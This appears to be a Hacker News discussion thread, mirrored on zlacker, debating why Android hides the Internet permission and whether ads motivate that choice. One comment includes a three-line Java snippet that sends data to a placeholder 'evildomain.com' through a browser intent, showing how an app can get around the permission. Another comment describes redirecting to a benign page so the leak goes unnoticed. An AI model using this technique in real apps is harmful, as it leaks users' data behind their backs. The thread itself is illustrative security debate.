zlacker

[parent] [thread] 25 comments
1. kllrno+(OP)[view] [source] 2025-08-25 21:02:02
> But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe.

The internet permission has nothing to do with ads? It's a hidden permission because:

1) Internet connection is so ubiquitous as to just be noise if displayed

2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar

replies(3): >>876368+g4 >>tgsovl+c5 >>zrobot+Bf
2. 876368+g4[view] [source] 2025-08-25 21:26:40
>>kllrno+(OP)
> 1) Internet connection is so ubiquitous as to just be noise if displayed

That doesn't make it any less useful.

> 2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar

I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it. But even if it is flawed, don't you think Google would be a bit more incentivized to make the Internet permission work as expected if people could disable it?

replies(2): >>UncleM+le >>GuB-42+Pg
3. tgsovl+c5[view] [source] 2025-08-25 21:31:54
>>kllrno+(OP)
It absolutely has to do with ads. While there are various ways to exfiltrate small amounts of data, the non-collaborative ones are rarely silent and most importantly, they won't let the app get responses (e.g. ads) back.

The main thing this permission would be used for would be blocking ads. Also distinguishing shitty apps that are full of ads from those that aren't. If there is a calculator that needs Internet and one that doesn't, which one are you going to use?

replies(1): >>kllrno+Hv
◧◩
4. UncleM+le[view] [source] [discussion] 2025-08-25 22:23:12
>>876368+g4
> I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it.

   Uri uri = Uri.parse("https://evildomain.com/upload?data=DATA_GOES_HERE);
   Intent i = new Intent(Intent.ACTION_VIEW, uri);
   startActivity(i);
Happily uses the browser app to do the data send for you. Requiring apps to have all the permissions of the recipient of an Intent before being allowed to send it would be a catastrophic change to the ecosystem.
replies(3): >>broker+Nk >>sterli+nR >>noname+wk1
5. zrobot+Bf[view] [source] 2025-08-25 22:30:26
>>kllrno+(OP)
I mean, I just did a quick look over the installed apps on this phone and ~1/4 of them would work perfectly well without an internet connection, things like a level or GPS speedometer that use the phone sensor or apps for Bluetooth control of devices [like 0] . Why would something like a bubble level app need internet access for anything besides telemetry or ads? I realize I have way more of these types of apps than the average user, but apps like this aren't a super-niche thing that would be on 0.1% of devices.

I just tend to give Google little benefit of the doubt here, considering where their revenue comes from. Same as when they introduced manifest v3, ostensibly for security but just conveniently happening to neuter adblocking. Disabling access to the internet permission for apps aligns with their profit motive.

replies(1): >>kllrno+gw
◧◩
6. GuB-42+Pg[view] [source] [discussion] 2025-08-25 22:39:21
>>876368+g4
> I've never managed to find even a single PoC bypassing it

Because it is obvious. Just open a web browser.

More details here: https://old.reddit.com/r/androiddev/comments/ci4tdq/were_on_...

◧◩◪
7. broker+Nk[view] [source] [discussion] 2025-08-25 23:06:17
>>UncleM+le
> would be a catastrophic change to the ecosystem.

Hey we were already on board with this, you don't have to convince us.

replies(1): >>UncleM+9s
◧◩◪◨
8. UncleM+9s[view] [source] [discussion] 2025-08-26 00:06:26
>>broker+Nk
The effect of this would be to make all apps request all permissions because even if you are just using some other app for a particular feature you need, you have no control over what other permissions they might add which would suddenly break any intents you send them. The only defense would be to request everything.

You could very specifically ban ACTION_VIEW intents for web URIs from apps without an internet permission I guess. But does banning apps from linking to the web (to be opened in browsers) really seem like a good idea?

replies(1): >>ycombi+Jw
◧◩
9. kllrno+Hv[view] [source] [discussion] 2025-08-26 00:43:22
>>tgsovl+c5
> The main thing this permission would be used for would be blocking ads.

This permission has existed for longer than runtime permissions. You have never been able to revoke it, it was just something you agreed to when you installed the app or you didn't install the app.

It was "removed" in that era because if every app requests the same permission, then nobody cares about it anymore. When every app asks for the same thing, users stop paying attention to it. So no, it had fuck all to do with ads because that was never a thing in the first place. And ad blocking doesn't require this permission, either.

> Also distinguishing shitty apps that are full of ads from those that aren't. If there is a calculator that needs Internet and one that doesn't, which one are you going to use?

You can still use it for this. Apps are required to declare the permission still, it's listed on the Play Store under the "permissions" section. Similarly the OS reports the same thing. Presumably F-droid or whatever else also has a list of permissions before you install, and it'll be listed there.

Although Google's own Calculator app requires Internet permission. Take that for what's it worth.

◧◩
10. kllrno+gw[view] [source] [discussion] 2025-08-26 00:48:21
>>zrobot+Bf
There's plenty of actually problematic stuff Google does (like this change in the article), there's no need to make up whack ass conspiracy theories, too.
replies(3): >>ycombi+6x >>zrobot+Sy >>const_+FQ1
◧◩◪◨⬒
11. ycombi+Jw[view] [source] [discussion] 2025-08-26 00:52:10
>>UncleM+9s
Similar changes have been done before, the security sandbox behaves differently based on the app's minimum/target API level for backwards compatibility.

That's also why there's a warning before installing really old apps, they may run with extra permissions.

◧◩◪
12. ycombi+6x[view] [source] [discussion] 2025-08-26 00:55:56
>>kllrno+gw
The internet permission is the only regular manifest permission you can't toggle in the settings. It is an obvious win for an advertising/surveillance company like Google. What is wack about it?
replies(1): >>kllrno+US
◧◩◪
13. zrobot+Sy[view] [source] [discussion] 2025-08-26 01:11:55
>>kllrno+gw
Huh? Not sure how this qualifies as "whack ass". There's an internet permission built in to the OS that Google chose to not expose to the user. The parent poster was claiming there is no reason anyone would want that permission, I then pointed out a whole category of apps that don't need internet to function for anything besides ads and telemetry. All of this is factual info.

So rather than just dismissing the argument via insulting language, can you provide a reasonable alternative explanation for why this setting isn't exposed to the user?

replies(1): >>kllrno+1T
◧◩◪
14. sterli+nR[view] [source] [discussion] 2025-08-26 04:26:45
>>UncleM+le
so? pop up a permission prompt. have the user confirm.

and isn't it immediately apparent that the app is leaking data if your calculator is popping a webview?

replies(1): >>UncleM+RZ
◧◩◪◨
15. kllrno+US[view] [source] [discussion] 2025-08-26 04:46:52
>>ycombi+6x
> The internet permission is the only regular manifest permission you can't toggle in the settings.

That's not even a little bit true? There's a ton of 'normal' permissions, almost none of which are user-overrideable. Like, say, android.permission.VIBRATE. Or android.permission.GET_PACKAGE_SIZE. Android has an obscene number of permissions ( https://developer.android.com/reference/android/Manifest.per... ) and almost none of them have a UI to control them nor any ability to be rejected

> It is an obvious win for an advertising/surveillance company like Google. What is wack about it?

How, exactly? How does Google benefit from random 3p apps having Internet access? And remember, Google has play services on every device to proxy anything it needs/wants.

replies(1): >>ycombi+OD1
◧◩◪◨
16. kllrno+1T[view] [source] [discussion] 2025-08-26 04:48:51
>>zrobot+Sy
The internet permission is exposed to the user, it just can't be revoked by the user. But that's true of like 100 other permissions, too. It's the default case that permissions are not revokable.

And I did provide 2 reasons why that's the case for Internet specifically, neither of which were even attempted to be refuted in this comment chain

replies(2): >>adithy+WW >>zrobot+bo1
◧◩◪◨⬒
17. adithy+WW[view] [source] [discussion] 2025-08-26 05:31:27
>>kllrno+1T
I would really like to deny internet access for apps like mx player. The frequency of ads on that app once Times group bought is the worst I've seen in my entire life. One of the best video players on Android, ruined.

Some chinese skins do offer the ability to revoke internet access for apps. I wonder why the western ones don't?

◧◩◪◨
18. UncleM+RZ[view] [source] [discussion] 2025-08-26 06:03:19
>>sterli+nR
"Pop up a permission prompt every single time an app links out to a browser" is not going to be a thing that users like.

Yes, this is a little suspicious. But you just have the evil page redirect to google.com or something benign. To the user it looks like "huh, chrome just opened on its own."

replies(1): >>jech+7n1
◧◩◪
19. noname+wk1[view] [source] [discussion] 2025-08-26 09:01:54
>>UncleM+le
I don’t see why you couldn’t disallow opening URL intents. App intents that enable to exfiltrate data should be cracked down on by Google, it’s basically a privilege escalation.
replies(1): >>UncleM+cy1
◧◩◪◨⬒
20. jech+7n1[view] [source] [discussion] 2025-08-26 09:31:32
>>UncleM+RZ
> "Pop up a permission prompt every single time an app links out to a browser" is not going to be a thing that users like.

Calculator.apk wants to open the web page https://eviltracker.example.com. Allow this time? Allow for 24 hours? Allow and don't ask me again?

replies(1): >>UncleM+Dy1
◧◩◪◨⬒
21. zrobot+bo1[view] [source] [discussion] 2025-08-26 09:41:43
>>kllrno+1T
OK, so this is getting ridiculous. The internet permission isn't exposed to the user, unless you are saying that 'exposed to the user' is the same as 'system default and can't be modified'. The user has no way to see or modify that permission.

I pretty solidly refuted your first reason (internet connection is ubiquitious, apps don't need it). I pointed out that there are whole categories of apps that don't need a network connection. You never bothered to refute my argument and are now claiming that I didn't address that point. You claim it is a 'ubiquitous' permission, but haven't said why a level sensor app that just reads the MEMS gyro sensor would need a network connection at all. So that's point 1 sorted, which I already addressed and you are pretending wasn't refuted.

Point 2 was "2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar"

I never addressed this, because it seemed extraneous to the discussion. This data exfiltration is purely a hypothetical at this point, since apps can always rely on a network connection. Sure, if the network setting was exposed to the user and was able to be toggled, there might be ways to bypass that. But that is hypothetical, and relies on hypothetical security loopholes. No apps are currently doing this, since apps can't have their network permissions toggled. The possibility of potentially bypassing the system network permission toggle doesn't seem germane, since it's a hypothetical. To use your words, it's a 'whack-ass conspiracy theory' and not a germane concern.

You've resorted to ad-hominem by insinuating that my viewpoint as a conspiracy theory and haven't even attempted to address my point that there are whole categories of apps that don't need network connections. You also are trying to claim that I haven't addressed points you made, while ignoring my argument that rebutted those claims. I'm sorry, but since you want to engage in this way,why are you so addicted to the taste of Google boot leather? Why are you trying to say that Google doesn't want to protect its ad network? Android apps using Google adsense to serve ads to users clearly benefits them, I don't even see why this is controversial.

◧◩◪◨
22. UncleM+cy1[view] [source] [discussion] 2025-08-26 11:06:11
>>noname+wk1
"No links to web uris allowed" would be a pretty intense restriction. Now the free calculator can't even link to the paid version on the app store. There's already precious few apps that don't really need internet access (usually simple tools apps that don't have ads) and this even further limits that set.
◧◩◪◨⬒⬓
23. UncleM+Dy1[view] [source] [discussion] 2025-08-26 11:09:19
>>jech+7n1
Do we show this annoying popup (that the large majority of the time will be benign and just aggravate users) for all apps, or just those that don't request the internet permission?

Doing this for all apps would be wild. Doing this just for those that don't request the internet permission just encourages more apps to request it (it is basically universally used anyway). "Huh, why does my calculator need internet" has never actually been effective at helping people avoid malware at any meaningful scale.

replies(1): >>const_+aq2
◧◩◪◨⬒
24. ycombi+OD1[view] [source] [discussion] 2025-08-26 11:55:13
>>kllrno+US
half of the random 3p apps include Google advertising SDKs. How do you reconcile the fact that the internet permission still cannot be toggled, almost 20 years after it was required in the app manifest?
◧◩◪
25. const_+FQ1[view] [source] [discussion] 2025-08-26 13:13:24
>>kllrno+gw
Google relies on ad money is a conspiracy? ... isn't that just... their business model? Like actually?

I mean, would you chop off your own foot? No? Then we should all be in agreeance. Google is definitely forcing network permission for every app to maximize their ad revenue.

◧◩◪◨⬒⬓⬔
26. const_+aq2[view] [source] [discussion] 2025-08-26 15:54:42
>>UncleM+Dy1
> Doing this for all apps would be wild.

No it wouldn't, not at all.

90% of apps on your phone do not need to be apps. Facebook does not need to be an app. Instagram does not need to be an app.

This is a sober reminder that apps are executables code that is running on your phone with very little sandbox. Its not like a web browser.

We do not need to execute compiled binaries that are closed source to buy parking that one time. No, no we don't.

Why do we? Because as I've said - such apps are much more powerful than the web browser and can therefore be used as spyware or keyloggers. Most apps on Android, including most Google apps, can be regarded as spyware.

Companies don't want to give up their de facto malware they've built up, and now users are trained to just install whatever the fuck on their phone.

We have given software 1000x more permission than it needs to do want it does. And now, we sit back and complain about malware.

This starts with Google, this starts with Meta, this starts with big tech. They directly caused all this malware by forcing users into downloading executables so they can exfiltrate your key presses.

[go to top]